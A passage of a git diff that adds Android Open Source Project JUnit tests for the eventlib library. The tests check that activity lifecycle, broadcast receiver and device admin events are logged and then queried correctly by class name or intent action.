+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityResumedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityResumedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityResumedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityResumedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
new file mode 100644
index 0000000..212631f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityStartedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStartedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStartedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStartedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
new file mode 100644
index 0000000..d2e6227
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityStoppedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStoppedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStoppedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStoppedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(sContext.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
new file mode 100644
index 0000000..c73e9aa
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEventTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.broadcastreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class BroadcastReceivedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_BROADCAST_RECEIVER_CLASS_NAME =
+            TestBroadcastReceiver.class.getName();
+    private static final String CUSTOM_BROADCAST_RECEIVER_CLASS_NAME = "customBroadcastReceiver";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customBroadcastReceiver2";
+    private static final TestBroadcastReceiver BROADCAST_RECEIVER = new TestBroadcastReceiver();
+
+    private static class TestBroadcastReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+        }
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, intent).log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, differentIntent).log();
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, intent).log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereBroadcastReceiver_customValueOnLogger_works() {
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT)
+                .setBroadcastReceiver(CUSTOM_BROADCAST_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereBroadcastReceiver().className().isEqualTo(
+                        CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().broadcastReceiver().className()).isEqualTo(
+                CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereBroadcastReceiver_customValueOnLogger_skipsNonMatching() {
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT)
+                .setBroadcastReceiver(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                .log();
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT)
+                .setBroadcastReceiver(CUSTOM_BROADCAST_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereBroadcastReceiver().className().isEqualTo(
+                        CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().broadcastReceiver().className()).isEqualTo(
+                CUSTOM_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereBroadcastReceiver_defaultValue_works() {
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereBroadcastReceiver().className()
+                        .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().broadcastReceiver().className())
+                .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereBroadcastReceiver_defaultValue_skipsNonMatching() {
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT)
+                .setBroadcastReceiver(CUSTOM_BROADCAST_RECEIVER_CLASS_NAME)
+                .log();
+        BroadcastReceivedEvent.logger(BROADCAST_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<BroadcastReceivedEvent> eventLogs =
+                BroadcastReceivedEvent.queryPackage(sContext.getPackageName())
+                        .whereBroadcastReceiver().className()
+                        .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().broadcastReceiver().className())
+                .isEqualTo(DEFAULT_BROADCAST_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
new file mode 100644
index 0000000..8d67bc8
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEventTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminDisableRequestedEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER,
+                sContext, differentIntent).log();
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER,
+                sContext, intent).log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminDisableRequestedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
+                DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
new file mode 100644
index 0000000..0aa04ef
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminDisabledEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminDisabledEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminDisabledEvent> eventLogs =
+                DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
